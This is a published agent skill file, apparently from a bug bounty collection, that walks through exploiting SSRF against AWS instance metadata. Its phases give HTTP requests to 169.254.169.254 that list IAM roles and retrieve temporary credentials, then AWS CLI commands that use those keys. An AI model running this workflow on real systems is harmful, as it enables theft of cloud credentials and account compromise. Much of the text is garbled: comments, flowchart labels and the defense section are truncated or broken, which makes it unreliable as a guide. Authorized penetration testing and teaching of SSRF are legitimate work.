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Ssrf aws metadata abuse

Skill ShulkwiSEC/bb-huge/skills/curated/ssrf-aws-metadata-abuse

bb-huge ๐Ÿค— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill ssrf-aws-metadata-abuse

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Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS to access the highly sensitive Instance Metadata Service (IMDS). This allows an attacker to steal valid IAM roles and temporary security credentials, leading to catastrophic cloud account compromise.

The file declares its own license as Apache-2.0. That is the authorโ€™s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

4.4 KB, 995 tokens by cl100k_base, as published. Nobody here has run it

SSRF to AWS Metadata Abuse

When to Use

  • When you discover an SSRF vulnerability (a feature that fetches external URLs based on user input) in an application that you suspect or know is hosted on Amazon Web Services (AWS).
  • To demonstrate the critical impact of SSRF by escalating from a web vulnerability to full cloud environment compromise via IAM credential theft.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying SSRF

# Concept: The application takes a URL ```

### Phase 2: Querying the AWS IMDS (Instance Metadata Service)

```http
# Concept: AWS instances 1. IMDSv1 (The older, easily exploitable POST /api/fetch-image HTTP/1.1
Host: target.com
{"url": "http://169.254.169.254/latest/meta-data/"}

# Target POST /api/fetch-image HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# Response HTTP/1.1 200 OK
ec2-role-name

Phase 3: Stealing IAM Credentials

# 1. Fetch POST /api/fetch-image HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}

# Response {
  "Code" : "Success",
  "LastUpdated" : "2023-10-27T01:02:03Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "...",
  "Token" : "IQoJb3JpZ2lu...",
  "Expiration" : "2023-10-27T07:15:30Z"
}

Phase 4: Abusing the Credentials

# export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2lu..."

# aws sts get-caller-identity
aws s3 ls

Decision Point ๐Ÿ”€

flowchart TD
    A[Discover SSRF ] --> B{Try IMDS ]}
    B -->|Success| C[Extract ]
    B -->|Timeout/Block| D[Attempt ]
    C --> E[Exploit ]

๐Ÿ”ต Blue Team Detection & Defense

  • Enforce IMDSv2: Network Segmentation/Firewalls: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ssrf Aws Metadata Abuse โ€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] โ€” [Brief description]
  [Finding 2]: [Severity] โ€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

๐Ÿ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

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